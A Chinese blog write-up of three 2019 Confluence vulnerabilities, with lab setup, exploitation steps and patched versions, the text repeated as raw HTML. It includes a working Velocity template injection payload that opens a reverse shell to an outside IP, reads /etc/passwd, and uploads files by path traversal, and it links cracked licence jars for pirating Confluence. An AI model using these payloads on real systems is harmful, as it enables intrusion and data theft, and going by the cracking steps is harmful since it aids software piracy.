Confluence漏洞总结

博主： Kim同学
发布时间：2020 年 07 月 14 日
3993 次浏览
暂无评论
2505字数
分类：漏洞快照

漏洞信息

漏洞ID: 1720881	漏洞类型: 信任管理漏洞
发布时间: 2019-08-29	更新时间: 2019-09-05
CVE编号: CVE-2019-3394	CNNVD-ID: CNNVD-201908-2216
漏洞平台: N/A	CVSS评分: N/A

漏洞ID: 1550881	漏洞类型: 路径遍历漏洞
发布时间: 2019-03-25	更新时间: 2019-03-26
CVE编号: CVE-2019-3396	CNNVD-ID: CNNVD-201903-909
漏洞平台: N/A	CVSS评分: N/A

漏洞ID: 1575270	漏洞类型: 路径遍历漏洞
发布时间: 2019-04-25	更新时间: 2019-04-26
CVE编号: CVE-2019-3398	CNNVD-ID: CNNVD-201904-928
漏洞平台: N/A	CVSS评分: N/A

漏洞详情

Confluence是款企业知识库软件,其中Confluence Server和Data Center产品中使用的小工具连接器widgetconnecter组件 (版本<=3.1.3) 中存在任意文件读取,命令执行等.

攻击成本：低
危害程度：中
是否登陆：需要
影响范围：2.0.0 <= version < 6.6.13, 6.7.0 <= version < 6.12.4, 6.13.0 <= version < 6.13.4, 6.14.0 <= version < 6.14.3, 6.15.0 <= version < 6.15.2

漏洞重现

叮咚:这里所使用的的Confluence版本为6.3.4,而MysSQL版本为5.7

首先使用docker搭建mysql

#拉取镜像
docker pull mysql:5.7
#启用容器,并设置mysql的root密码为123456
docker run --name mysql5.7 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7
#创建confluence数据库
create database confluence character set utf8;

接下来,开始安装confluence6.3.4,但是要注意安装完成后先不要启动confluence

# 下载安装文件
wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.3.4-x64.bin
# 赋予安装文件执行权限
chmod +x atlassian-confluence-6.3.4-x64.bin
#执行安装文件,中间安装选项为 o 1 i n
./atlassian-confluence-6.3.4-x64.bin

安装过程

下载系统破解程序及链接mysql的jar包,下载链接如下:
atlassian-extras-decoder-v2-3.2.jar
atlassian-universal-plugin-manager-plugin-2.22.1.jar
mysql-connector-java-5.0.8-bin.jar

在路径/opt/atlassian/confluence/confluence/WEB-INF/lib下更换atlassian-extras-decoder-v2-3.2.jar文件（将原文件做一下备份）
在路径/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins下更换atlassian-universal-plugin-manager-plugin-2.22.1.jar文件（将原文件做一下备份）
把数据库链接文件mysql-connector-java-5.0.8-bin.jar放在/opt/atlassian/confluence/lib路径下

执行命令sudo service confluence start启动confluence,最后访问http://149.28.24.201:8090/操作图形安装,插件不需要安装,令牌可以获取临时的.

漏洞利用

CVE-2019-3394

在文本编辑处插入图片，使用来自于网络,且链接以/packages开头的图片,后面跟你想要读取的文件路径,如下图:

插入假的图片

插入后，点击发布更新，拦截数据包修改上传连接，将src部分的地址部分去掉

抓取的数据包

最后点击,导出Word触发漏洞即可.成功读取数据后会保存到图片中,然后放到Word文档里面,由于无法正常显示,所以使用burp来查看返回的数据

成功读取数据的图片

返回的数据

CVE-2019-3396

点击创建选择其他宏,小工具连接器组件,输入上传地址(随意输入,您开心就好),然后点击预览抓包.

选择宏界面

创建小工具连接器组件

抓取数据包，可以发现这个位置没有_template参数，可能这里是通过白盒代码审计发现的漏洞,把_template参数添加上进行执行任意文件读取,如下图读取的是/etc/passwd

抓取的数据包

命令执行语法
执行计算机:
#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/usr/bin/gnome-calculator")
nc反弹shell:
#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/149.129.68.79/56888 0>&1")

CVE-2019-3398

在文件上传位置,选择上传脚本.

脚本上传中...

上传过程通过抓包修改filename,来进行上传路径修改,这里上传成功.

返回的数据

在附件全部下载,抓取链接可以看到上图两个文件.

返回的数据

登录服务器查看文件全部放在zip压缩包中,之前使用了../../向上跳了两级目录,可以看到phpinfo.php在上两级目录中.

返回的数据

修复方案

漏洞修复版本为6.6.13、6.12.4、6.13.4、6.14.3、6.15.2

参考链接

https://www.anquanke.com/post/id/185441
https://www.anquanke.com/post/id/197665
https://blog.csdn.net/caiqiiqi/article/details/89034761
https://nosec.org/home/detail/2461.html
https://www.pythonheidong.com/blog/article/304926/
https://blog.csdn.net/weixin_44058342/article/details/100519971

最后修改：2022 年 04 月 26 日

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

评论 *

打卡

私密评论

名称 *

🎲

邮箱 *

地址

Confluence漏洞总结

Kim同学 • 2020 年 07 月 14 日

<h2>漏洞信息</h2><table><tbody><tr><td>漏洞ID: 1720881</td><td>漏洞类型: 信任管理漏洞</td></tr><tr><td>发布时间: 2019-08-29</td><td>更新时间: 2019-09-05</td></tr><tr><td>CVE编号: CVE-2019-3394</td><td>CNNVD-ID: CNNVD-201908-2216</td></tr><tr><td>漏洞平台: N/A</td><td>CVSS评分: N/A</td></tr></tbody></table><table><tbody><tr><td>漏洞ID: 1550881</td><td>漏洞类型: 路径遍历漏洞</td></tr><tr><td>发布时间: 2019-03-25</td><td>更新时间: 2019-03-26</td></tr><tr><td>CVE编号: CVE-2019-3396</td><td>CNNVD-ID: CNNVD-201903-909</td></tr><tr><td>漏洞平台: N/A</td><td>CVSS评分: N/A</td></tr></tbody></table><table><tbody><tr><td>漏洞ID: 1575270</td><td>漏洞类型: 路径遍历漏洞</td></tr><tr><td>发布时间: 2019-04-25</td><td>更新时间: 2019-04-26</td></tr><tr><td>CVE编号: CVE-2019-3398</td><td>CNNVD-ID: CNNVD-201904-928</td></tr><tr><td>漏洞平台: N/A</td><td>CVSS评分: N/A</td></tr></tbody></table><h2>漏洞详情</h2><p>Confluence是款企业知识库软件,其中Confluence Server和Data Center产品中使用的小工具连接器widgetconnecter组件 (版本&lt;=3.1.3) 中存在任意文件读取,命令执行等.</p><blockquote>攻击成本：低<br>危害程度：中<br>是否登陆：需要<br>影响范围：2.0.0 &lt;= version &lt; 6.6.13, 6.7.0 &lt;= version &lt; 6.12.4, 6.13.0 &lt;= version &lt; 6.13.4, 6.14.0 &lt;= version &lt; 6.14.3, 6.15.0 &lt;= version &lt; 6.15.2</blockquote><h2>漏洞重现</h2><blockquote><strong>叮咚:这里所使用的的Confluence版本为<code>6.3.4</code>,而MysSQL版本为<code>5.7</code></strong></blockquote><p>首先使用docker搭建mysql</p><pre><code>#拉取镜像
docker pull mysql:5.7
#启用容器,并设置mysql的root密码为123456
docker run --name mysql5.7 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7
#创建confluence数据库
create database confluence character set utf8;
</code></pre><p>接下来,开始安装confluence6.3.4,但是要注意<strong>安装完成后先不要启动confluence</strong></p><pre><code># 下载安装文件
wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.3.4-x64.bin
# 赋予安装文件执行权限
chmod +x atlassian-confluence-6.3.4-x64.bin
#执行安装文件,中间安装选项为 o 1 i n
./atlassian-confluence-6.3.4-x64.bin
</code></pre><p><img src="https://resource.if010.com/Confluence_bugs_02.png" alt="安装过程" title="安装过程" style=""></p><p>下载系统破解程序及链接mysql的jar包,下载链接如下:<br><span class="external-link"><a class="no-external-link" href="https://resource.if010.com/confluence/atlassian-extras-decoder-v2-3.2.jar" target="_blank"><i data-feather="external-link"></i>atlassian-extras-decoder-v2-3.2.jar</a></span><br><span class="external-link"><a class="no-external-link" href="https://resource.if010.com/confluence/atlassian-universal-plugin-manager-plugin-2.22.1.jar" target="_blank"><i data-feather="external-link"></i>atlassian-universal-plugin-manager-plugin-2.22.1.jar</a></span><br><span class="external-link"><a class="no-external-link" href="https://resource.if010.com/confluence/mysql-connector-java-5.0.8-bin.jar" target="_blank"><i data-feather="external-link"></i>mysql-connector-java-5.0.8-bin.jar</a></span></p><p>在路径<code>/opt/atlassian/confluence/confluence/WEB-INF/lib</code>下更换<code>atlassian-extras-decoder-v2-3.2.jar</code>文件（将原文件做一下备份）<br>在路径<code>/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins</code>下更换<code>atlassian-universal-plugin-manager-plugin-2.22.1.jar</code>文件（将原文件做一下备份）<br>把数据库链接文件<code>mysql-connector-java-5.0.8-bin.jar</code>放在<code>/opt/atlassian/confluence/lib</code>路径下</p><p>执行命令<code>sudo service confluence start</code>启动confluence,最后访问<code>http://149.28.24.201:8090/</code>操作图形安装,插件不需要安装,令牌可以获取临时的.</p><h2>漏洞利用</h2><h3>CVE-2019-3394</h3><p>在文本编辑处插入图片，使用来自于网络,且链接以/packages开头的图片,后面跟你想要读取的文件路径,如下图:</p><p><img src="https://resource.if010.com/Confluence_bugs_03.png" alt="插入假的图片" title="插入假的图片" style=""></p><p>插入后，点击发布更新，拦截数据包修改上传连接，将src部分的地址部分去掉</p><p><img src="https://resource.if010.com/Confluence_bugs_04.png" alt="抓取的数据包" title="抓取的数据包" style=""></p><p>最后点击,导出Word触发漏洞即可.成功读取数据后会保存到图片中,然后放到Word文档里面,由于无法正常显示,所以使用burp来查看返回的数据</p><p><img src="https://resource.if010.com/Confluence_bugs_05.png" alt="成功读取数据的图片" title="成功读取数据的图片" style=""></p><p><img src="https://resource.if010.com/Confluence_bugs_06.png" alt="返回的数据" title="返回的数据" style=""></p><h3>CVE-2019-3396</h3><p>点击创建选择其他宏,小工具连接器组件,输入上传地址(随意输入,您开心就好),然后点击预览抓包.</p><p><img src="https://resource.if010.com/Confluence_bugs_07.png" alt="选择宏界面" title="选择宏界面" style=""></p><p><img src="https://resource.if010.com/Confluence_bugs_08.png" alt="创建小工具连接器组件" title="创建小工具连接器组件" style=""></p><p>抓取数据包，可以发现这个位置没有<code>_template</code>参数，可能这里是通过白盒代码审计发现的漏洞,把<code>_template</code>参数添加上进行执行任意文件读取,如下图读取的是<code>/etc/passwd</code></p><p><img src="https://resource.if010.com/Confluence_bugs_09.png" alt="抓取的数据包" title="抓取的数据包" style=""></p><blockquote><strong>命令执行语法</strong><br>执行计算机:<br><code>#set($e=&quot;e&quot;) $e.getClass().forName(&quot;java.lang.Runtime&quot;).getMethod(&quot;getRuntime&quot;,null).invoke(null,null).exec(&quot;/usr/bin/gnome-calculator&quot;)</code><br>nc反弹shell:<br><code>#set($e=&quot;e&quot;) $e.getClass().forName(&quot;java.lang.Runtime&quot;).getMethod(&quot;getRuntime&quot;,null).invoke(null,null).exec(&quot;bash -i &gt;&amp; /dev/tcp/149.129.68.79/56888 0&gt;&amp;1&quot;)</code></blockquote><h3>CVE-2019-3398</h3><p>在文件上传位置,选择上传脚本.</p><p><img src="https://resource.if010.com/Confluence_bugs_10.png" alt="脚本上传中..." title="脚本上传中..." style=""></p><p>上传过程通过抓包修改<code>filename</code>,来进行上传路径修改,这里上传成功.</p><p><img src="https://resource.if010.com/Confluence_bugs_11.png" alt="返回的数据" title="返回的数据" style=""></p><p>在附件全部下载,抓取链接可以看到上图两个文件.</p><p><img src="https://resource.if010.com/Confluence_bugs_12.png" alt="返回的数据" title="返回的数据" style=""></p><p><img src="https://resource.if010.com/Confluence_bugs_13.png" alt="返回的数据" title="返回的数据" style=""></p><p>登录服务器查看文件全部放在zip压缩包中,之前使用了../../向上跳了两级目录,可以看到phpinfo.php在上两级目录中.</p><p><img src="https://resource.if010.com/Confluence_bugs_14.png" alt="返回的数据" title="返回的数据" style=""></p><h2>修复方案</h2><p>漏洞修复版本为<code>6.6.13</code>、<code>6.12.4</code>、<code>6.13.4</code>、<code>6.14.3</code>、<code>6.15.2</code></p><h2>参考链接</h2><p><span class="external-link"><a class="no-external-link" href="https://www.anquanke.com/post/id/185441" target="_blank"><i data-feather="external-link"></i>https://www.anquanke.com/post/id/185441</a></span><br><span class="external-link"><a class="no-external-link" href="https://www.anquanke.com/post/id/197665" target="_blank"><i data-feather="external-link"></i>https://www.anquanke.com/post/id/197665</a></span><br><span class="external-link"><a class="no-external-link" href="https://blog.csdn.net/caiqiiqi/article/details/89034761" target="_blank"><i data-feather="external-link"></i>https://blog.csdn.net/caiqiiqi/article/details/89034761</a></span><br><span class="external-link"><a class="no-external-link" href="https://nosec.org/home/detail/2461.html" target="_blank"><i data-feather="external-link"></i>https://nosec.org/home/detail/2461.html</a></span><br><span class="external-link"><a class="no-external-link" href="https://www.pythonheidong.com/blog/article/304926/" target="_blank"><i data-feather="external-link"></i>https://www.pythonheidong.com/blog/article/304926/</a></span><br><span class="external-link"><a class="no-external-link" href="https://blog.csdn.net/weixin_44058342/article/details/100519971" target="_blank"><i data-feather="external-link"></i>https://blog.csdn.net/weixin_44058342/article/details/100519971</a></span></p>

Confluence漏洞总结

漏洞信息

漏洞详情

漏洞重现